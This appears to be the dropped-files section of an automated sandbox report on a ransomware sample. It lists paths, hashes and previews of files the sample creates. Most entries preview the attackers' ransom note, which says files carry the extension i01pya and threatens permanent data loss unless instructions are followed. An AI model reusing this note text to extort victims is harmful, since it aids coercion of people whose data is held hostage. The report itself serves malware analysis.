            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\Public\Music\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\Public\Pictures\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\Public\Videos\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\Public\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\3D Objects\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\AppData\Local\Temp\i5zp9z4z01.bmp
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:PC bitmap, Windows 3.x format, 1280 x 1024 x 32
            Category:dropped
            Size (bytes):5242934
            Entropy (8bit):5.5801186245382945
            Encrypted:false
            SSDEEP:49152:T/SRjbGQYv6wTrHzwcdgec6cFnjmk0PeuqbNvf3p+8PWsy6KQhOapnSxNPXpBPwA:O4J5c5j7e2x1A
            MD5:58637A74A1A60F8159533781B4BC788E
            SHA1:846AD041A5FBC5536875D4DEA8A74D1FD30341C4
            SHA-256:E6779CCB224B94273B92400C3AF96CEF740E3DC423164B08E0C4D1B44F9FF526
            SHA-512:777238FC991DA75337A300BE5E49B119A077C8CCF6C23EDB43121A7BC63EB5630B7D9C550C60D89AB20241F94E94A6E9B8C3FA9F99AC420395867879CB924131
            Malicious:false
            Preview: BM6.P.....6...(............. .......P.....................`..._...{...X.......7...8...........b...........a.......K...l...............................i...........Y...g...U...............!...........z...-...&...............<...,...B...+...R...|...........u...b...........1...j...........d.......g...D...........t...E...A...-...B.......B...........m...+.......?...N...............E...K...`...)...............V...R...{...............M...s...........!.......\.......J...L...................~...........S......./...........s......................._...z.......q...t.......2...........2...F......._...........T...........d...$..._.......h.......L...U...........v...)...............$...........P.......8...}...]...%......./...........+...1.......5...........e...........v.......@...$...........P...>...h...{...V.......p.......U...................s.......|...............K...t...........f...........E.......U.......Y...{...c.......Y...........x...........(.......c.......O...!.......`...............E...:.....
            C:\Users\user\Contacts\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\Desktop\BNAGMGSPLO\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\Desktop\EOWRVPQCCS\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\Desktop\GAOBCVIQIJ.docx
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.839211974624407
            Encrypted:false
            SSDEEP:24:SO3rVo2JI/MmYamZnv0MB38ql9HK9228+VVq5i66/zlvuJTniqOsDPVtzI9:1Vo7WamdLCX01EvuJTniPsDPVtzk
            MD5:07D930656AEF75240B13DCF7C4C879F4
            SHA1:3EE3A9248039B4DBC58CE515135A015644C7CAE0
            SHA-256:698B2E538F695596BE15942584D28D5E469DC80CA321A2F5071F9E75649EA95C
            SHA-512:4AC17C9768AE917CAF04B3F505584B54A909E9E91FDA1FF2491670F7E1FAB8DD2F09F0F98A226F9619476C9A9166004AA8C32446F418571D6E93790CE3BA7A66
            Malicious:false
            Preview: ....b"....y....zS..8...;.4p5..YT0..re..9uCm.......].."c#..},......C...r2Vf~Sm.J.Va..l%..E&QE.:(..AS....\..s...u.I.'.8.#.<.a..F.._:r....xu.g.j..i}k/-..G._...G....5`.Y._.K..c./..x. .%.)...Y@C..Jn...v.U"V2..Y...{k\..!..........G.$...I.g. .......s...p.k.^.L.U#..c.....x.L...}/Y.C1....h..x...3<T..\..z..I..f."wQ@h......R..f..f!W..U9.O.........d@$..4.%.....6.>.)(..$..3....O.2l..$..t.~..](..o..&c..S..k.c.:..z...A.z.j...^2C.6...3.S..M...C....j...JS..L[.<.U..h.8.*..".....O.`.2..I...<../..h.....6.K.J{I..+.c...m..WD...<.j.B...C.%..".]yn.S......?......gd...>.%y..a..Q:.f..../.]5..0...^......<p.G......va..>.[....?...8.e....e.zK...........*.Hr./*....k1.i.P.ae..[h~.h..u....jwT",kXv.../@..Dz..|.V..lYb.V.%.x...o.~i....c..L[Bn..,1dLv.v"...........w...EU..K.p..{..R.....I3.[...$..q5.w.mS.Q.T...y.|PT.L..*..?....).u/...Ulj..C.h$...x(....Y2.O.......:.".]..^.}2...S.&oI....@..q_y{HWva.......5.....d.v...X...]a......H. VB......%...O.V.m....T._.U..i.S..h.Y(.*.U.,...
            C:\Users\user\Desktop\GAOBCVIQIJ\GAOBCVIQIJ.docx
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.821437747678484
            Encrypted:false
            SSDEEP:24:hUqwyRCcGEfGoGbLRN/v4t0QXekmR9unuysN0nlSpAM7lvuJTniqOsDPVtSZDG:iqwKGkGJfR6/XquJnG7vuJTniPsDPVtV
            MD5:3A48D68AD76094AEEB5A403BA538F5B0
            SHA1:34DFB9483B3FE01E0F9C6C1C52C1EEB0036B955E
            SHA-256:3A7337A0306FBBA500A992B87E58D719FF1F8BFD68E9881F5841DF297FFE6CEC
            SHA-512:6C0195CF43D24030A2B9EA29B88FF3316A092CA9628EA9C8C239131394C6955DAFE0C4FA0C673549F4951DC7772A8EF7F6B73EE022EC0EFC613C00F7A263B3AA
            Malicious:false
            Preview: .G.. b.../.-.%..4Lp..x.l..z..PQ..".<z.<S..HS..$.{...NSn........o..FA.t.f.8......U4.%D....t..;....,.8h...y.~T..T%.y.Vi.....(.Q1..a.0.......~..<2?K.9_....J..1.QLG. .......*...z. ..4...&.3w....Jw.......4.T.W.V...+b..(.?..ZX.;C...H..c4.i.F..3B.R...U....Mghc=..+[.`l.F$.>..v,in.Yt3_.~I..Y"mhH..{K-I ..5&vcD.ol5.....4..vS......y......[f.5...Q..Z]L:..w.r..\.....]..+}.[.SR..../..}5.O..80.....8.YI.N].6.!O.oC5~...g...D.".v....3.`.^.,.0...0..z.....Q+@..@.z...F.I...y;.,....b.\"L._.N.c.}Q.|pt...H..'.\u.a.=.^.Gu...FQF.-.N.. p..?L...J.......~.My\.>.....*i.i.eq....|..)....+ ~....c#Pv<.h.g~.y...(.a...../w.Q..c.,.^.+....'lzc.f..G:>./.....i.k.j.P...9..$.&..=..4.....w\.]..p.u./dJ.h.f......Us.*5...xvCW.c.. q.Y./[b.P...9.dm...k......?.}_Q.'.m..m.J.6.S......l......G...'.I..0.t}3...[..`.b.$.w..ji..%z. ...=...W'.j.J_oh..S,:.....f+.|e.y.X.XC}./.(.<.i..Bd..d.#......r3I.`.=...-...z.)....C.....p&.z.^.....jt.q'.....).{.Cm)..y>....d.3.R|JW/+.;.j.).+g.#.....A"..$>
            C:\Users\user\Desktop\GAOBCVIQIJ\PIVFAGEAAV.mp3
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.848338755149945
            Encrypted:false
            SSDEEP:24:3SmQ7gR2OWNBox7TfEPeOdhQi7Jf7E4SzPJNEDNplvuJTniqOsDPVtlOa9C:CxfeB8eOdb7Jf7E4SbkDNDvuJTniPsD4
            MD5:196CAAE41756F6F5D22C37CBB3C151B9
            SHA1:930CFD08995468A7B272EF903898F5CA69F5300D
            SHA-256:024A911872484967095509B28AD447549B960C3A8C1FF6E07A9C81C6B5D55914
            SHA-512:457EB9E264CDA28C8A1376E5A48C7BDA7C129227BF9EECF9F69659A621E692ED34A2C69D27C5ADB0D37BDBDA5127217D994707038A66A1C8A17C293036DD31D8
            Malicious:true
